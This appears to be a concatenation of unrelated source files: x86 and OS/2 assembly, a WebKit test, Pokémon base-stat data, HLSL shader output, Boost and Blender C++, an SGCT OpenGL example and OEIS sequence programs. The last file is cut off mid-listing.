mov eax, [xBP + 04h]
cpuid
les di, [xBP + 08h]
mov [di], eax
les di, [xBP + 0ch]
mov [di], ebx
les di, [xBP + 10h]
mov [di], ecx
les di, [xBP + 14h]
mov [di], edx
pop di
pop es
%else
%error unsupported arch
%endif
pop xBX
leave
ret
ENDPROC ASMCpuId
|
/*
* Copyright (C) 2018 Apple Inc. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY APPLE INC. AND ITS CONTRIBUTORS ``AS IS''
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,
* THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
* PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL APPLE INC. OR ITS CONTRIBUTORS
* BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF
* THE POSSIBILITY OF SUCH DAMAGE.
*/
#include "config.h"
#if WK_HAVE_C_SPI
#include "InjectedBundleTest.h"
#include "PlatformUtilities.h"
#include <WebKit/WKBundlePage.h>
#include <WebKit/WKBundlePagePrivate.h>
namespace TestWebKitAPI {
class FirstMeaningfulPaintMilestoneTest : public InjectedBundleTest {
public:
FirstMeaningfulPaintMilestoneTest(const std::string& identifier)
: InjectedBundleTest(identifier)
{
}
virtual void didCreatePage(WKBundleRef bundle, WKBundlePageRef page)
{
WKBundlePageListenForLayoutMilestones(page, kWKDidFirstMeaningfulPaint);
}
};
static InjectedBundleTest::Register<FirstMeaningfulPaintMilestoneTest> registrar("FirstMeaningfulPaintMilestoneTest");
} // namespace TestWebKitAPI
#endif
|
db SANDSHREW ; 027
db 50, 75, 85, 40, 20, 30
; hp atk def spd sat sdf
db GROUND, GROUND ; type
db 255 ; catch rate
db 93 ; base exp
db NO_ITEM, NO_ITEM ; items
db GENDER_F50 ; gender ratio
db 100 ; unknown 1
db 20 ; step cycles to hatch
db 5 ; unknown 2
INCBIN "gfx/pokemon/sandshrew/front.dimensions"
db 0, 0, 0, 0 ; padding
db GROWTH_MEDIUM_FAST ; growth rate
dn EGG_GROUND, EGG_GROUND ; egg groups
; tm/hm learnset
tmhm DYNAMICPUNCH, HEADBUTT, CURSE, ROLLOUT, TOXIC, ROCK_SMASH, HIDDEN_POWER, SUNNY_DAY, SNORE, PROTECT, ENDURE, FRUSTRATION, IRON_TAIL, EARTHQUAKE, RETURN, DIG, MUD_SLAP, DOUBLE_TEAM, SWAGGER, SLEEP_TALK, SANDSTORM, SWIFT, DEFENSE_CURL, DETECT, REST, ATTRACT, THIEF, FURY_CUTTER, CUT, STRENGTH
; end
|
//
// Generated by Microsoft (R) HLSL Shader Compiler 9.30.9200.16384
//
//
///
// Buffer Definitions:
//
// cbuffer cbPerObject
// {
//
// float4x4 g_mWorldViewProjection; // Offset: 0 Size: 64
// float4x4 g_mWorld; // Offset: 64 Size: 64
//
// }
//
// cbuffer cbPerFrame
// {
//
// float3 g_vLightDir; // Offset: 0 Size: 12
//
// }
//
//
// Resource Bindings:
//
// Name Type Format Dim Slot Elements
// ------------------------------ ---------- ------- ----------- ---- --------
// cbPerObject cbuffer NA NA 0 1
// cbPerFrame cbuffer NA NA 1 1
//
//
//
// Input signature:
//
// Name Index Mask Register SysValue Format Used
// -------------------- ----- ------ -------- -------- ------- ------
// POSITION 0 xyzw 0 NONE float xyzw
// NORMAL 0 xyz 1 NONE float xyz
// TEXCOORD 0 xy 2 NONE float xy
//
//
// Output signature:
//
// Name Index Mask Register SysValue Format Used
// -------------------- ----- ------ -------- -------- ------- ------
// SV_POSITION 0 xyzw 0 POS float xyzw
// COLOR 0 xyzw 1 NONE float xyzw
// TEXCOORD 0 xy 2 NONE float xy
//
vs_4_0
dcl_constantbuffer cb0[7], immediateIndexed
dcl_constantbuffer cb1[1], immediateIndexed
dcl_input v0.xyzw
dcl_input v1.xyz
dcl_input v2.xy
dcl_output_siv o0.xyzw, position
dcl_output o1.xyzw
dcl_output o2.xy
dcl_temps 1
dp4 o0.x, v0.xyzw, cb0[0].xyzw
dp4 o0.y, v0.xyzw, cb0[1].xyzw
dp4 o0.z, v0.xyzw, cb0[2].xyzw
dp4 o0.w, v0.xyzw, cb0[3].xyzw
dp3 r0.x, v1.xyzx, cb0[4].xyzx
dp3 r0.y, v1.xyzx, cb0[5].xyzx
dp3 r0.z, v1.xyzx, cb0[6].xyzx
dp3 r0.w, r0.xyzx, r0.xyzx
rsq r0.w, r0.w
mul r0.xyz, r0.wwww, r0.xyzx
dp3 r0.x, r0.xyzx, cb1[0].xyzx
max o1.xyz, r0.xxxx, l(0.300000, 0.300000, 0.300000, 0.000000)
mov o1.w, l(1.000000)
mov o2.xy, v2.xyxx
ret
// Approximately 15 instruction slots used
|
/*=============================================================================
Copyright (c) 2001-2006 Joel de Guzman
Copyright (c) 2005-2006 Dan Marsden
Distributed under the Boost Software License, Version 1.0. (See accompanying
file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt)
==============================================================================*/
#if !defined(BOOST_FUSION_END_IMPL_27122005_1120)
#define BOOST_FUSION_END_IMPL_27122005_1120
#include <boost/fusion/adapted/array/array_iterator.hpp>
namespace boost { namespace fusion {
struct array_tag;
namespace extension
{
template <typename Tag>
struct end_impl;
template <>
struct end_impl<array_tag>
{
template <typename Sequence>
struct apply
{
typedef array_iterator<Sequence, Sequence::static_size> type;
static type
call(Sequence& v)
{
return type(v);
}
};
};
}
}}
#endif
|
; A074509: a(n) = 1^n + 3^n + 7^n.
; 3,11,59,371,2483,17051,118379,825731,5771363,40373291,282534299,1977503891,13841818643,96890604731,678227855819,4747575858851,33232973616323,232630643127371,1628413985330939,11398896347634611
mov $1,3
pow $1,$0
mov $2,7
pow $2,$0
add $1,$2
add $1,1
|
; A135711: Minimal perimeter of a polyhex with n cells.
; 6,10,12,14,16,18,18,20,22,22,24,24,26,26,28,28,30,30,30,32,32,34,34,34,36,36,36,38,38,38,40,40,40,42,42,42,42,44,44,44,46,46,46,46,48,48,48,48,50,50,50,50,52,52,52,52,54,54,54,54,54,56,56,56,56,58,58,58,58,58,60,60
mul $0,2
mov $1,$0
add $1,$0
add $1,$0
mov $0,$1
mul $0,2
add $0,5
mov $1,4
mov $2,2
lpb $0,1
sub $0,1
trn $0,$1
add $1,$2
lpe
|
/*
* ***** BEGIN GPL LICENSE BLOCK *****
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* as published by the Free Software Foundation; either version 2
* of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software Foundation,
* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*
* The Original Code is Copyright (C) 2001-2002 by NaN Holding BV.
* All rights reserved.
*
* The Original Code is: all of this file.
*
* Contributor(s): none yet.
*
* ***** END GPL LICENSE BLOCK *****
*/
/** \file gameengine/GamePlayer/common/GPC_KeyboardDevice.cpp
* \ingroup player
*/
#include "GPC_KeyboardDevice.h"
#include <cstdlib>
/**
* NextFrame toggles currentTable with previousTable,
* and copies relevant event information from previous to current table
* (pressed keys need to be remembered).
*/
void GPC_KeyboardDevice::NextFrame()
{
SCA_IInputDevice::NextFrame();
// Now convert justpressed key events into regular (active) keyevents
int previousTable = 1-m_currentTable;
for (int keyevent= KX_BEGINKEY; keyevent<= KX_ENDKEY;keyevent++)
{
SCA_InputEvent& oldevent = m_eventStatusTables[previousTable][keyevent];
if (oldevent.m_status == SCA_InputEvent::KX_JUSTACTIVATED ||
oldevent.m_status == SCA_InputEvent::KX_ACTIVE )
{
m_eventStatusTables[m_currentTable][keyevent] = oldevent;
m_eventStatusTables[m_currentTable][keyevent].m_status = SCA_InputEvent::KX_ACTIVE;
//m_eventStatusTables[m_currentTable][keyevent].m_status = SCA_InputEvent::KX_JUSTACTIVATED;
}
}
}
/**
* ConvertBPEvent translates Windows keyboard events into ketsji kbd events.
* Extra event information is stored, like ramp-mode (just released/pressed)
*/
bool GPC_KeyboardDevice::ConvertEvent(int incode, int val, unsigned int unicode)
{
bool result = false;
// convert event
KX_EnumInputs kxevent = this->ToNative(incode);
// only process it, if it's a key
if (kxevent >= KX_BEGINKEY && kxevent <= KX_ENDKEY)
{
int previousTable = 1-m_currentTable;
if (val > 0)
{
if (kxevent == SCA_IInputDevice::KX_ESCKEY && val != 0 && !m_hookesc)
result = true;
// todo: convert val ??
m_eventStatusTables[m_currentTable][kxevent].m_eventval = val ; //???
m_eventStatusTables[m_currentTable][kxevent].m_unicode = unicode ;
switch (m_eventStatusTables[previousTable][kxevent].m_status)
{
case SCA_InputEvent::KX_JUSTACTIVATED:
case SCA_InputEvent::KX_ACTIVE:
{
m_eventStatusTables[m_currentTable][kxevent].m_status = SCA_InputEvent::KX_ACTIVE;
break;
}
case SCA_InputEvent::KX_NO_INPUTSTATUS:
default:
{
m_eventStatusTables[m_currentTable][kxevent].m_status = SCA_InputEvent::KX_JUSTACTIVATED;
}
}
} else
{
switch (m_eventStatusTables[previousTable][kxevent].m_status)
{
case SCA_InputEvent::KX_JUSTACTIVATED:
case SCA_InputEvent::KX_ACTIVE:
{
m_eventStatusTables[m_currentTable][kxevent].m_status = SCA_InputEvent::KX_JUSTRELEASED;
break;
}
default:
{
m_eventStatusTables[m_currentTable][kxevent].m_status = SCA_InputEvent::KX_NO_INPUTSTATUS;
}
}
}
}
return result;
}
void GPC_KeyboardDevice::HookEscape()
{
m_hookesc = true;
}
|
/*****************************************************************************************
* SGCT *
* Simple Graphics Cluster Toolkit *
* *
* Copyright (c) 2012-2020 *
* For conditions of distribution and use, see copyright notice in LICENSE.md *
****************************************************************************************/
#include <sgct/sgct.h>
#include <sgct/opengl.h>
#include <sgct/utils/box.h>
#include <glm/glm.hpp>
#include <glm/gtc/matrix_inverse.hpp>
#include <glm/gtc/type_ptr.hpp>
namespace {
std::unique_ptr<sgct::utils::Box> box;
// variables to share across cluster
double currentTime = 0.0;
bool takeScreenshot = false;
// shader locs
int textureLoc = -1;
int mvpMatrixLoc = -1;
int worldMatrixTransposeLoc = -1;
int normalMatrixLoc = -1;
unsigned int textureId = 0;
constexpr const char* vertexShader = R"(
#version 330 core
layout(location = 0) in vec2 texCoords;
layout(location = 1) in vec3 normals;
layout(location = 2) in vec3 vertPositions;
uniform mat4 mvpMatrix;
uniform mat4 worldMatrixTranspose;
uniform mat3 normalMatrix;
out vec2 uv;
out vec3 n;
out vec4 p;
void main() {
mat3 worldRotationInverse = mat3(worldMatrixTranspose);
gl_Position = mvpMatrix * vec4(vertPositions, 1.0);
uv = texCoords;
n = normalize(worldRotationInverse * normalMatrix * normals);
p = gl_Position;
})";
constexpr const char* fragmentShader = R"(
#version 330 core
in vec2 uv;
in vec3 n;
in vec4 p;
layout(location = 0) out vec4 diffuse;
layout(location = 1) out vec3 normal;
layout(location = 2) out vec3 position;
uniform sampler2D tDiffuse;
void main() {
diffuse = texture(tDiffuse, uv);
normal = n;
position = p.xyz;
}
)";
} // namespace
using namespace sgct;
void draw(const RenderData& data) {
glEnable(GL_DEPTH_TEST);
glEnable(GL_CULL_FACE);
constexpr const double Speed = 0.44;
// create scene transform (animation)
glm::mat4 scene = glm::translate(glm::mat4(1.f), glm::vec3(0.f, 0.f, -3.f));
scene = glm::rotate(
scene,
static_cast<float>(currentTime * Speed),
glm::vec3(0.f, -1.f, 0.f)
);
scene = glm::rotate(
scene,
static_cast<float>(currentTime * (Speed / 2.0)),
glm::vec3(1.f, 0.f, 0.f)
);
const glm::mat4 mvp = glm::make_mat4(data.modelViewProjectionMatrix.values) * scene;
const glm::mat4 mv = glm::make_mat4(data.viewMatrix.values) *
glm::make_mat4(data.modelMatrix.values) * scene;
const glm::mat3 normalMatrix = glm::inverseTranspose(glm::mat3(mv));
glActiveTexture(GL_TEXTURE0);
glBindTexture(GL_TEXTURE_2D, textureId);
ShaderManager::instance().shaderProgram("MRT").bind();
glUniformMatrix4fv(mvpMatrixLoc, 1, GL_FALSE, glm::value_ptr(mvp));
glUniformMatrix4fv(worldMatrixTransposeLoc, 1, GL_TRUE, glm::value_ptr(mv));
glUniformMatrix3fv(normalMatrixLoc, 1, GL_FALSE, glm::value_ptr(normalMatrix));
glUniform1i(textureLoc, 0);
box->draw();
ShaderManager::instance().shaderProgram("MRT").unbind();
glDisable(GL_CULL_FACE);
glDisable(GL_DEPTH_TEST);
}
void preSync() {
if (Engine::instance().isMaster()) {
currentTime = Engine::getTime();
}
}
void postSyncPreDraw() {
if (takeScreenshot) {
Engine::instance().takeScreenshot();
takeScreenshot = false;
}
}
void initOGL(GLFWwindow*) {
ShaderManager::instance().addShaderProgram("MRT", vertexShader, fragmentShader);
const ShaderProgram& prg = ShaderManager::instance().shaderProgram("MRT");
prg.bind();
textureLoc = glGetUniformLocation(prg.id(), "tDiffuse");
worldMatrixTransposeLoc = glGetUniformLocation(prg.id(), "worldMatrixTranspose");
mvpMatrixLoc = glGetUniformLocation(prg.id(), "mvpMatrix");
normalMatrixLoc = glGetUniformLocation(prg.id(), "normalMatrix");
prg.bind();
textureId = TextureManager::instance().loadTexture("box.png", true, 8.f);
box = std::make_unique<utils::Box>(2.f, utils::Box::TextureMappingMode::Regular);
glCullFace(GL_BACK);
glFrontFace(GL_CCW);
}
std::vector<std::byte> encode() {
std::vector<std::byte> data;
serializeObject(data, currentTime);
serializeObject(data, takeScreenshot);
return data;
}
void decode(const std::vector<std::byte>& data, unsigned int pos) {
deserializeObject(data, pos, currentTime);
deserializeObject(data, pos, takeScreenshot);
}
void cleanup() {
box = nullptr;
}
void keyboard(Key key, Modifier, Action action, int) {
if (Engine::instance().isMaster() && (action == Action::Press)) {
if (key == Key::Esc) {
Engine::instance().terminate();
}
else if (key == Key::P) {
takeScreenshot = true;
}
}
}
int main(int argc, char** argv) {
std::vector<std::string> arg(argv + 1, argv + argc);
Configuration config = parseArguments(arg);
config::Cluster cluster = loadCluster(config.configFilename);
if (cluster.settings) {
cluster.settings->useNormalTexture = true;
cluster.settings->usePositionTexture = true;
}
else {
config::Settings settings;
settings.useNormalTexture = true;
settings.usePositionTexture = true;
cluster.settings = settings;
}
Engine::Callbacks callbacks;
callbacks.initOpenGL = initOGL;
callbacks.preSync = preSync;
callbacks.encode = encode;
callbacks.decode = decode;
callbacks.postSyncPreDraw = postSyncPreDraw;
callbacks.draw = draw;
callbacks.cleanup = cleanup;
callbacks.keyboard = keyboard;
try {
Engine::create(cluster, callbacks, config);
}
catch (const std::runtime_error& e) {
Log::Error(e.what());
Engine::destroy();
return EXIT_FAILURE;
}
Engine::instance().render();
Engine::destroy();
exit(EXIT_SUCCESS);
}
|
;===============================================================================
; Opcode Generator Test
;===============================================================================
bits 16
org 32768
start:
; ----------------------------------------------------------------------
OpcodeGenerator_execute:
mov ax, generationInstructions_wb
call OpcodeGenerator.execute
mov ax, generationInstructions_ww
call OpcodeGenerator.execute
; print generated instructions
mov si, [OpcodeGenerator.startMemoryAddress]
call os_print_string
call os_print_newline
; print size of generated instructions
call private.OpcodeGenerator.debug.printIndex
; --------------------------------------------------------------
call os_print_newline
call os_print_newline
; stack save first ib
mov al, 123
call OpcodeGenerator.pushIb
; stack save second ib
mov al, 234
call OpcodeGenerator.pushIb
; print stack first ib
mov si, msg.stackEqual
call os_print_string
mov al, 0
call OpcodeGenerator.popIb
mov ah, 0
call os_int_to_string
mov si, ax
call os_print_string
call os_print_newline
; print stack second ib
mov si, msg.stackEqual
call os_print_string
mov al, 0
call OpcodeGenerator.popIb
mov ah, 0
call os_int_to_string
mov si, ax
call os_print_string
call os_print_newline
; --------------------------------------------------------------
; stack save first iw
mov ax, 1234
mov cl, 3
mov dx, label1
call OpcodeGenerator.pushIw
; call OpcodeGenerator.clearIbIwRMStacks
; stack save second iw
mov ax, 2345
mov cl, 4
mov dx, label2
call OpcodeGenerator.pushIw
mov ax, 0ffffh
mov cx, 0ffffh
mov dx, 0ffffh
; print stack first iw
mov si, msg.stackEqual
call os_print_string
mov ax, 0
call OpcodeGenerator.popIw
call os_int_to_string
mov si, ax
call os_print_string
call os_print_newline
mov ch, 0
mov ax, cx
call os_int_to_string
mov si, ax
call os_print_string
call os_print_newline
mov si, dx
call os_print_string
call os_print_newline
; print stack second iw
mov si, msg.stackEqual
call os_print_string
mov ax, 0
call OpcodeGenerator.popIw
call os_int_to_string
mov si, ax
call os_print_string
call os_print_newline
mov ch, 0
mov ax, cx
call os_int_to_string
mov si, ax
call os_print_string
call os_print_newline
mov si, dx
call os_print_string
call os_print_newline
;ret
; --------------------------------------------------------------
call os_print_newline
call os_print_newline
call OpcodeGenerator.clearIbIwRMStacks
mov al, 65 ; A
call OpcodeGenerator.pushIb
mov ax, generationInstructions_mov_reg8_imm8
call OpcodeGenerator.execute
; --------------------------------------------------------------
call os_print_newline
call os_print_newline
call OpcodeGenerator.clearIbIwRMStacks
; MOV AX, 4142H
; db "AX", 0, 0, 0, 0, 0, 158, Token.TYPE_REG16, 0, 11000000b
; mov reg16 , imm16 ; wC7 /0 iw
; Token: MOV -> Token.TYPE_INSTR
; Token: AX -> Token.TYPE_REG16
; al = Id
; ah = Type
; cl = RegIndex
; ch = R/M
; dl = has extra imm8
; dh = extra imm8
; bh = has extra imm16
; si = extra imm16
mov al, 158
mov ah, Token.TYPE_REG16
mov cl, 0
mov ch, 11000000b
mov dl, 0
mov dh, 41h
mov bh, 1
mov si, 0abcdh
call OpcodeGenerator.pushRM
; Token: , -> Token.TYPE_VIRGULA
; Token: 4142H -> Token.TYPE_IMM8
mov ax, 4142h ; BA
call OpcodeGenerator.pushIw
; Token: <enter> -> Token.TYPE_END_OF_LINE
mov ax, generationInstructions_mov_reg16_imm16
call OpcodeGenerator.execute
; --------------------------------------------------------------
call os_print_newline
call os_print_newline
call OpcodeGenerator.clearIbIwRMStacks
; MOV [BX+SI+3H], 1234h
; [ BX + SI + imm8 ] 01 000 40 48 50 58 60 68 70 78 ib
; MOV mem , imm16 ; o16 wC7 /0 iw
; Token: MOV -> Token.TYPE_INSTR
; Token: [BX+SI+3H] -> Token.TYPE_MEM
; al = Id
; ah = Type
; cl = RegIndex
; ch = R/M
; dl = has extra imm8
; dh = extra imm8
; bh = has extra imm16
; si = extra imm16
mov al, 0
mov ah, Token.TYPE_MEM
mov cl, 0
mov ch, 01000000b
mov dl, 1
mov dh, 3h
mov bh, 0
mov si, 0
call OpcodeGenerator.pushRM
; Token: , -> Token.TYPE_VIRGULA
; Token: 1234h -> Token.TYPE_IMM16
mov ax, 1234h
call OpcodeGenerator.pushIw
; Token: <enter> -> Token.TYPE_END_OF_LINE
mov ax, generationInstructions_mov_mem_imm16
call OpcodeGenerator.execute
; --------------------------------------------------------------
call os_print_newline
call os_print_newline
call OpcodeGenerator.clearIbIwRMStacks
; cmp [bx+si+5], 1234h
; [ BX + SI + imm8 ] 01 000 40 48 50 58 60 68 70 78 ib
; mov mem , imm16
; db 15, Token.TYPE_MEM, Token.TYPE_VIRGULA, Token.TYPE_IMM16, 0 ; CMP mem , imm16
; dw opcode_CMP_GenInstr_91
; Token: CMP -> Token.TYPE_INSTR
; Token: [BX+SI+5H] -> Token.TYPE_MEM
; al = Id
; ah = Type
; cl = RegIndex
; ch = R/M
; dl = has extra imm8
; dh = extra imm8
; bh = has extra imm16
; si = extra imm16
mov al, Token.ID_MEM
mov ah, Token.TYPE_MEM
mov cl, 0
mov ch, 01000000b
mov dl, 1
mov dh, 5h
mov bh, 0
mov si, 0
call OpcodeGenerator.pushRM
; Token: , -> Token.TYPE_VIRGULA
; Token: 1234h -> Token.TYPE_IMM16
mov ax, 1234h
call OpcodeGenerator.pushIw
; Token: <enter> -> Token.TYPE_END_OF_LINE
mov ax, opcode_CMP_GenInstr_91t
call OpcodeGenerator.execute
; --------------------------------------------------------------
call os_print_newline
call os_print_newline
call OpcodeGenerator.clearIbIwRMStacks
; mov ch, bl
; db 75, Token.TYPE_REG8, Token.TYPE_VIRGULA, Token.TYPE_REG8, 0 ; MOV reg8 , reg8
; dw opcode_MOV_GenInstr_192t
; Token: mov -> Token.TYPE_INSTR
; Token: ch -> Token.REG8
; db "CH", 0, 0, 0, 0, 0, 155, Token.TYPE_REG8, 5, 11000101b
; al = Id
; ah = Type
; cl = RegIndex
; ch = R/M
; dl = has extra imm8
; dh = extra imm8
; bh = has extra imm16
; si = extra imm16
mov al, 155
mov ah, Token.TYPE_REG8
mov cl, 5
mov ch, 11000101b
mov dl, 0
mov dh, 0
mov bh, 0
mov si, 0
call OpcodeGenerator.pushRM
; Token: , -> Token.TYPE_VIRGULA
; Token: bl -> Token.TYPE_REG8
;db "BL", 0, 0, 0, 0, 0, 153, Token.TYPE_REG8, 3, 11000011b
; al = Id
; ah = Type
; cl = RegIndex
; ch = R/M
; dl = has extra imm8
; dh = extra imm8
; bh = has extra imm16
; si = extra imm16
mov al, 153
mov ah, Token.TYPE_REG8
mov cl, 3
mov ch, 11000011b
mov dl, 0
mov dh, 0
mov bh, 0
mov si, 0
call OpcodeGenerator.pushRM
; Token: <enter> -> Token.TYPE_END_OF_LINE
mov ax, opcode_MOV_GenInstr_192t
call OpcodeGenerator.execute
; --------------------------------------------------------------
; print size of generated instructions
call private.OpcodeGenerator.debug.printIndex
; ----------------------------------------------------------------------
OpcodeGenerator_end:
ret
; ----------------------------------------------------------------------
%include "../../include/mikedev.inc"
%include "../../include/FileInputStream.inc"
%include "../../include/Character.inc"
%include "../../include/Parser.inc"
%include "../../include/OpcodeGenerator.inc"
%include "../../include/Token.inc"
%include "../../include/Keywords.inc"
%include "../../include/InstructionsHandler.inc"
%include "../../include/Mem.inc"
%include "../../include/LabelResolver.inc"
label1 db "aaaaaaaaaaaab", 0
label2 db "ccccccccccccd", 0
msg.stackEqual db "Stack = ", 0
generationInstructions_wb db OpcodeGenerator.INSTR_WB, 41h
db OpcodeGenerator.INSTR_WB, 42h
db OpcodeGenerator.INSTR_WB, 43h
db 0h
generationInstructions_ww db OpcodeGenerator.INSTR_WW
dw 04142h,
db OpcodeGenerator.INSTR_WW
dw 04344h,
db OpcodeGenerator.INSTR_WB, 0h
db 0h
; mov reg8, imm8 -> wC6 /0 ib
generationInstructions_mov_reg8_imm8 db OpcodeGenerator.INSTR_WB, 0C6h
db OpcodeGenerator.INSTR_IB
db 0h
; MOV AX, 4142H
; db "AX", 0, 0, 0, 0, 0, 158, Token.TYPE_REG16, 0, 11000000b
; mov reg16 , imm16 ; wC7 /0 iw
generationInstructions_mov_reg16_imm16 db OpcodeGenerator.INSTR_WB, 0C7h
db OpcodeGenerator.INSTR_BARRA_7
db OpcodeGenerator.INSTR_IW
db 0h
; MOV [BX+SI+3H], DX
; [ BX + SI + imm8 ] 01 000 40 48 50 58 60 68 70 78 ib
; MOV mem , imm16 ; o16 wC7 /0 iw
generationInstructions_mov_mem_imm16 db OpcodeGenerator.INSTR_WB, 0C0h
db OpcodeGenerator.INSTR_BARRA_0
db OpcodeGenerator.INSTR_IW
db 0h
; cmp [bx+si+5], 1234h
; [ BX + SI + imm8 ] 01 000 40 48 50 58 60 68 70 78 ib
; mov mem , imm16
; db 15, Token.TYPE_MEM, Token.TYPE_VIRGULA, Token.TYPE_IMM16, 0 ; CMP mem , imm16
; dw opcode_CMP_GenInstr_91
opcode_CMP_GenInstr_91t db OpcodeGenerator.INSTR_WB, 081h
db OpcodeGenerator.INSTR_BARRA_7
db OpcodeGenerator.INSTR_IW, 0 ; o16 w81 /7 iw
; mov ch, bl
; db 75, Token.TYPE_REG8, Token.TYPE_VIRGULA, Token.TYPE_REG8, 0 ; MOV reg8 , reg8
; dw opcode_MOV_GenInstr_192t
opcode_MOV_GenInstr_192t db OpcodeGenerator.INSTR_WB, 088h
db OpcodeGenerator.INSTR_RM_1, 0 ; w88 /r1
;===============================================================================
|
title VSetup.cpp
.386
.387
includelib CPPOM30.LIB
includelib OS2386.LIB
CODE32 segment dword use32 public 'CODE'
CODE32 ends
DATA32 segment dword use32 public 'DATA'
DATA32 ends
CONST32_RO segment dword use32 public 'CONST'
CONST32_RO ends
BSS32 segment dword use32 public 'BSS'
BSS32 ends
EH_CODE segment dword use32 public 'CODE'
EH_CODE ends
CTOR_DTOR1 segment dword use32 public 'DATA'
CTOR_DTOR1 ends
CTOR_DTOR2 segment dword use32 public 'DATA'
CTOR_DTOR2 ends
CTOR_DTOR3 segment dword use32 public 'DATA'
CTOR_DTOR3 ends
EH_DATA segment para use32 public 'DATA'
EH_DATA ends
_VFT segment para use32 public 'DATA'
_VFT ends
DGROUP group BSS32, DATA32
assume cs:FLAT, ds:FLAT, ss:FLAT, es:FLAT
public fSetupMode
public szPrgName
extrn __vn__FUi:proc
extrn _sprintfieee:proc
extrn _vsprintfieee:proc
extrn DosWrite:proc
extrn strlen:proc
extrn WinPostMsg:proc
extrn DriverGetVersion__FPUsT1:proc
extrn DriverReadMessages__FPPUc:proc
extrn __vd__FPv:proc
extrn WinQueryWindowPtr:proc
extrn ProfileClose:proc
extrn WinQueryWindowPos:proc
extrn WinQueryWindow:proc
extrn ProfileWrite:proc
extrn WinSetWindowPos:proc
extrn _fprintfieee:proc
extrn WinSendMsg:proc
extrn WinWindowFromID:proc
extrn WinGetLastError:proc
extrn DriverSetBeeper__FUs:proc
extrn __nw__FUi:proc
extrn _beginthread:proc
extrn DrvsetupThread:proc
extrn _errno:proc
extrn WinDlgBox:proc
extrn DumpDialogProc:proc
extrn AboutDialogProc:proc
extrn WinDefWindowProc:proc
extrn _splitpath:proc
extrn _makepath:proc
extrn DosOpen:proc
extrn DosSetFilePtr:proc
extrn _exeentry:proc
extrn WinInitialize:proc
extrn WinCreateMsgQueue:proc
extrn WinRegisterClass:proc
extrn WinCreateStdWindow:proc
extrn WinCreateWindow:proc
extrn MyMessageBox__FCiCUlPce:proc
extrn WinSetWindowPtr:proc
extrn DriverOpen__Fv:proc
extrn PrfQueryProfileString:proc
extrn CheckValidDir__FCUlCPCc:proc
extrn strcpy:proc
extrn InilocDialogProc:proc
extrn PrfWriteProfileString:proc
extrn strcat:proc
extrn ProfileOpen:proc
extrn WinQueryTaskSizePos:proc
extrn ProfileRead:proc
extrn WinGetMsg:proc
extrn WinDispatchMsg:proc
extrn DriverClose__Fv:proc
extrn WinDestroyWindow:proc
extrn WinDestroyMsgQueue:proc
extrn WinTerminate:proc
extrn __dl__FPv:proc
extrn stderr:dword
extrn _fltused:dword
CONST32_RO segment
@CBE1 db 0dh,"%s - ",0h
align 04h
@CBE2 db "VSETUP",0h
align 04h
@CBE3 db "Can't read driver versio"
db "n - error %lu",0h
align 04h
@CBE4 db "Driver Version %u.%02u i"
db "nstalled",0h
align 04h
@CBE5 db "Can't read driver messag"
db "es - error %lu",0h
align 04h
@CBE6 db "VRAID",0h
align 04h
@CBE7 db "Line %u: %s",0h
@CBE8 db "WM_CREATE",0h
align 04h
@CBE9 db "WM_CLOSE",0h
align 04h
@CBE10 db "WUM_START",0h
align 04h
@CBE11 db "WM_SAVEAPPLICATION",0h
align 04h
@CBE12 db "WM_SIZE",0h
@CBE13 db "MainWindow",0h
align 04h
@CBE14 db "Size",0h
align 04h
@CBE15 db "WM_MOVE",0h
@CBE16 db "Position",0h
align 04h
@CBE17 db "mismatch: %lu of %lu imp"
db "orted",0ah,0h
align 04h
@CBE18 db "hwndFrame %#x",0h
align 04h
@CBE19 db "hwndMenu %#x",0h
align 04h
@CBE20 db "VSetup",0h
align 04h
@CBE21 db "WinEnableMenuItem failed"
db " (last error %#x)",0h
align 04h
@CBE22 db "WM_COMMAND: %#x",0h
@CBE23 db "Couldn't create Drvsetup"
db "Thread - error %d",0h
align 04h
@CBE24 db "created thread id %d",0h
align 04h
@CBE25 db "WinDlgBox(IDW_DRVDUMP) r"
db "eturned %lu - last error"
db " %#x",0h
align 04h
@CBE26 db "WinDlgBox(IDW_ABOUT) ret"
db "urned %lu - last error %"
db "#x",0h
@CBE27 db 0h
@CBE28 db "New log level %d",0h
align 04h
@CBE29 db "unknown parameter '%c'",0h
align 04h
@CBE30 db "VSETUP",09h,"main - memory pro"
db "blem",0ah,0h
align 04h
@CBE31 db "WinInitialize failed!?!",0h
@CBE32 db "WinCreateMsgQueue - erro"
db "r %#x",0h
align 04h
@CBE33 db "WinRegisterClass - error"
db " %#x",0h
align 04h
@CBE34 db "VSetup - Main Window",0h
align 04h
@CBE35 db "WinCreateStdWindow - err"
db "or %#x",0h
align 04h
@CBE36 db "client window %u,%u %u,%"
db "u",0h
align 04h
@CBE37 db "WinCreateWindow(...,WC_M"
db "LE,...) - error %#x",0h
@CBE38 db "WinSetWindowPtr failed -"
db " error %#",0h
align 04h
@CBE39 db "INI Path",0h
align 04h
@CBE40 db "WinDlgBox(IDW_INILOCATIO"
